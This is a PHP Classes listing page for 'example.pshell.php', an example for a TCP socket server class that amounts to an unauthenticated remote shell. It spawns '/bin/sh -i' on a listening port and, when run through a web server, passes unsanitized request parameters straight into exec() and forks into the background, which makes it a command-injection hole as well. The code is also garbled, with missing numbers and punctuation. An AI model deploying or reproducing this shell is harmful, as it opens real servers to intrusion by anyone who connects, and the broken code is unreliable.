Login   Register  
PHP Classes
elePHPant
Icontem

File: example.pshell.php

Recommend this page to a friend!
Stumble It! Stumble It! Bookmark in del.icio.us Bookmark in del.icio.us
  Classes of Pedro Vargas  >  pserver  >  example.pshell.php  >  Download  
File: example.pshell.php
Role: Example script
Content type: text/plain
Description: PShell a Example de Shell Remote
Class: pserver
Handle TCP socket server connections
Author: By
Last change: Update example
Date: 4 years ago
Size: 4,513 bytes
 

Contents

Class file image Download
<?

if ( !( $_SERVER["USER"] OR $_SERVER["PWD"] OR $_SERVER["TERM"] OR count($_SERVER["argv"]) > ) )
{
    
// Corre por Web
    
exec("php ".basename$_SERVER["PHP_SELF"] )." ".$_REQUEST["ip"]." ".$_REQUEST["p"]."  & ");
    die(
" RUN FORKED ");
}


/**
 * Remote Shell in PHP
 *
 * Thiss Class in a example of a Server create using class pserver
 *
 * @package pserver
 * @subpackage pserver.example
 * @author Pedro Vargas (deer@deerme.org) http://deerme.org
 * @version 0.1
 * @licence GNU General Public License (GPL)
 */

require('pserver.class.php'); 

 
class 
pshell extends pserver
{
    
    var 
$pipes = array(
            
=> array("pipe""r"),
            
=> array("pipe""w"),
            
=> array("pipe""w")
            );

    var 
$shell "/bin/sh -i";
    var 
$chunk_size 4096;
    var 
$socketbinary true;
    
/**
    * Read data on the client
    */
    
    
function read( &$client  )
    {        
        
$this->data$client['n'] ] = @socket_read($client['socket'], $this->bufferin, (  $this->socketbinary ?  PHP_BINARY_READ PHP_NORMAL_READ  ) );
        
// Have a shell ?
        
if ( !isset( $client["shell"] ) )
        {            
            
$client["shell"] = proc_open($this->shell$this->pipes,$client["pipes"]);
            if (!
is_resource($client["shell"]))
            {
                
$this->_logger("Shell","Can't open shell ".$this->shell."  ");
            }
            else
            {
                
$this->_logger("Shell","Open shell ".$this->shell."  ");
            }
            
// Set everything to non-blocking
            
stream_set_blocking($client["pipes"][0],0);
            
stream_set_blocking($client["pipes"][1],0);
            
stream_set_blocking($client["pipes"][2],0);            
        }        
        
// Data Client -> Process
        
fwrite($client["pipes"][0], $this->data$client['n'] ]);
        
usleep(10000);            
        
    }
    
    
/**
    * Write data on the client
    */
    
function write(  &$client $data )
    {
        
// If we can read from the process's STDOUT
        // send data down tcp connection        
        
if ( !$client["shell"] )
            return 
false;
        if ( !isset( 
$client['pid'] ) AND  function_exists("pcntl_fork") )
        {
            
$client['pid'] = pcntl_fork();
            if(
$pid == -1)
            {
                
$this->logger("Process","Could not fork Process");
                die();
            }
            else if (
$client['pid'])
            {    
                
// Father
                
$this->pids[] = $client['pid'];
            }
            else
            {
                
// Son
                
while( == 1)
                {
                    
$input fread($client["pipes"][1], $this->chunk_size);
                    
$input str_replace("\n","\n\r",$input);
                    if ( @
socket_write($client['socket'], $input  ) === false )
                    {                    
                        
// Dead socket
                        
$this->logger("Socket","Dead Socket");
                        
socket_close($client['socket']);
                        unset(
$client);
                        
// Die Process
                        
die();
                    }
                    
                    
$input fread($client["pipes"][2], $this->chunk_size);
                    
$input str_replace("\n","\n\r",$input);
                    if ( 
$input != "" )
                    {
                        if ( 
eregi("sh" $input ) and strlen($input) == 16 )
                            
$input substr$input );
                        if ( @
socket_write($client['socket'], $input  ) === false )
                        {
                        }
                    }
                    
usleep(10000);
                }
            }
        }
        else
        {
            
// I cant Fork
            
$input fread($client["pipes"][1], $this->chunk_size);
            
$input str_replace("\n","\n\r",$input);            
            if ( 
$input != "" )
            {
                if ( 
eregi("sh" $input ) and strlen($input) == 16 )
                    
$input substr$input );
                if ( 
socket_write($client['socket'], $input  ) === false )
                {
                    
$this->logger("Socket","Dead Socket");
                    
socket_close($client['socket']);
                    unset(
$client);
                }
            }
            
$input fread($client["pipes"][2], $this->chunk_size);
            
$input str_replace("\n","\n\r",$input);            
            if ( 
$input != "" )
            {
                if ( 
eregi("sh" $input ) and strlen($input) == 16 )
                    
$input substr$input );
                if ( 
socket_write($client['socket'], $input  ) === false )
                {
                    
                }
            }
        }        
        
    }
    
    
    
}

$ip = ($argv[1] ? $argv[1] : );
$p = ($argv[2] ? $argv[2] : 30022 );

// Instance Server
$server = new pshell($ip,$p);
$server->welcome_data unserialize(base64_decode("czozMzg6IhtbMTszMjs0MG1XZWxjb21lIHRvIFBIUCBQU2VydmVyG1sxOzM1OzQwbQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgIC98Xw0KICAgICAgICAgICAgICAgICAgICAgICAgLCcgIC5cDQogICAgICAgICAgICAgICAgICAgICwtLScgICAgXywnDQogICAgICAgICAgICAgICAgICAgLyAgICAgICAvDQogICAgICAgICAgICAgICAgICAoICAgLS4gIHwNCiAgICAgICAgICAgICAgICAgIHwgICAgICkgfA0KICAgICAgICAgICAgICAgICAoYC0uICAnLS0uKQ0KICAgICAgICAgICAgICAgICAgYC4gKS0tLS0nDQobWzE7MzI7NDBtCQkJIFBsZWFzZSwgdGFrZSBhIGNhdCAuLi4gG1sxOzM3OzQwbQoNIjs="));
$server->start();

?>